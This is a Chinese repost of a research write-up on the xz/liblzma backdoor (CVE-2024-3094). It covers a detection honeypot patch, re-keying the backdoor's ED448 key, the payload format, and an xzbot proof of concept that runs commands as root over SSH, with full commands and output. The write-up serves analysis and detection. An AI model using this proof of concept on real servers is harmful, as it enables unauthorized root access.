xz后门的探索(CVE-2024-3094)。包括以下内容:
- 蜜罐:伪造易受攻击的服务器来检测漏洞尝试
- ed448 patch : 修补 liblzma.so 以使用我们自己的 ED448 公钥
- 后门格式:后门有效负载的格式
- 后门演示:假设了解 ED448 私钥,通过 cli 触发 RCE
蜜罐
请参阅openssh.patch,了解 openssh 的简单补丁,该补丁记录使用与后门格式匹配的公钥 N 的任何连接尝试。
$ git clone https://github.com/openssh/openssh-portable
$ patch -p1 < ~/path/to/openssh.patch
$ autoreconf
$ ./configure
$ make
任何连接尝试都会在 sshd 日志中显示如下:
$ journalctl -u ssh-xzbot --since='1d ago' | grep xzbot:
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: magic 1 [preauth]
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2...
ed448补丁
后门使用硬编码的 ED448 公钥进行签名验证和解密有效负载。如果我们用我们自己的密钥替换这个密钥,我们就可以触发后门。
攻击者的ED448密钥是:
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00
我们将用我们自己的密钥替换这个密钥(用seed=0生成):
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
首先,下载一个后门 libxzma 共享对象,例如从https://snapshot.debian.org/package/xz-utils/5.6.1-1。然后运行补丁脚本。请参阅资产/示例。
$ pip install pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4 liblzma.so.5.6.1
$ python3 patch.py liblzma.so.5.6.1
Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch
然后使用此修改后的共享对象运行 sshd liblzma.so.5.6.1.patch。
后门格式
可以通过使用 CA 签名密钥 N 值中的有效负载连接 SSH 证书来触发后门。该有效负载必须使用攻击者的 ED448 密钥进行加密和签名。
该结构具有以下格式:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| cmd1 (32 bit) | cmd2 (32 bit) | cmd3 (64 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ ciphertext (240 bytes) +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
命令字节源自上面的三个魔法值 ( cmd1 * cmd2 + cmd3)。如果该值大于 3,后门将跳过处理。
使用 ED448 公钥的前 32 个字节作为对称密钥,使用 chacha20 对密文进行加密。因此,我们可以使用以下密钥解密任何利用尝试:
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
密文的格式如下:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| signature (114 bytes) | command x00 | padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
该签名是根据以下值计算得出的 RFC-8032 ED448 签名:
- 标头的前 4 个字节(即 cmd1)
- 命令的前 5 个字节
- 服务器主机密钥的 sha256 哈希值的前 32 个字节
后门演示
$ go install github.com/amlweems/xzbot@latest
$ xzbot -h
Usage of xzbot:
-addr string
ssh server address (default "127.0.0.1:2222")
-seed string
ed448 seed, must match xz backdoor key (default "0")
-cmd string
command to run via system() (default "id > /tmp/.xz")
以下命令将连接到易受攻击的 SSH 服务器并127.0.0.1:2222运行命令id > /tmp/.xz:
$ xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz'
00000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |....ssh-rsa-cert|
00000010 2d 76 30 31 40 6f 70 65 6e 73 73 68 2e 63 6f 6d |[email protected]|
00000020 00 00 00 00 00 00 00 03 01 00 01 00 00 01 01 01 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000160 00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00 |........ssh-rsa.|
00000170 00 00 01 01 00 00 01 00 02 00 00 00 01 00 00 00 |................|
00000180 00 00 00 00 00 00 00 00 54 97 bc c5 ef 93 e4 24 |........T......$|
00000190 cf b1 57 57 59 85 52 fd 41 2a a5 54 9e aa c6 52 |..WWY.R.A*.T...R|
000001a0 58 64 a4 17 45 8a af 76 ce d2 e3 0b 7c bb 1f 29 |Xd..E..v....|..)|
000001b0 2b f0 38 45 3f 5e 00 f1 b0 00 15 84 e7 bc 10 1f |+.8E?^..........|
000001c0 0f 5f 50 36 07 9f bd 07 05 77 5c 74 84 69 c9 7a |._P6.....wt.i.z|
000001d0 28 6b e8 16 aa 99 34 bf 9d c4 c4 5c b8 fd 4a 3c |(k....4......J<|
000001e0 d8 2b 39 32 06 d9 4f a4 3a 00 d0 0b 0f a2 21 c0 |.+92..O.:.....!.|
000001f0 86 c3 c9 e2 e6 17 b4 a6 54 ba c3 a1 4c 40 91 be |........T...L@..|
00000200 91 9a 2b f8 0b 18 61 1c 5e e1 e0 5b e8 00 00 00 |..+...a.^..[....|
00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000270 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 07 |................|
00000280 73 73 68 2d 72 73 61 00 00 00 01 00 |ssh-rsa.....|
2024/03/30 00:00:00 ssh: handshake failed: EOF
在存在漏洞的服务器上,我们可以为调用设置一个观察点system() 并观察命令的执行情况:
$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {
printf("%s (%d): %sn", comm, pid, str(uptr(reg("di"))))
}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz
$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)
利用后的进程树看起来与普通的 sshd 进程树不同:
# normal process tree
$ ssh foo@bar
$ ps -ef --forest
root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1026 765 7 18:51 ? 00:00:00 _ sshd: foo [priv]
foo 1050 1026 0 18:51 ? 00:00:00 _ sshd: foo@pts/1
foo 1051 1050 0 18:51 pts/1 00:00:00 _ -bash
# backdoor process tree
$ xzbot -cmd 'sleep 60'
$ ps -ef --forest
root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 941 765 4 18:04 ? 00:00:00 _ sshd: root [priv]
sshd 942 941 0 18:04 ? 00:00:00 _ sshd: root [net]
root 943 941 0 18:04 ? 00:00:00 _ sh -c sleep 60
root 944 943 0 18:04 ? 00:00:00 _ sleep 60
注意:成功利用不会生成任何 INFO 或更高级别的日志条目。
参考:
https://github.com/amlweems/xzbot
- https://www.openwall.com/lists/oss-security/2024/03/29/4
- https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
- https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01
- https://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4
原文始发于微信公众号(Ots安全):xz后门进行逆向工程,并记录了有效载荷格式,并为RCE编写了一个概念验证漏洞。有效载荷是用ED 448密钥签名的,所以我把自己
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论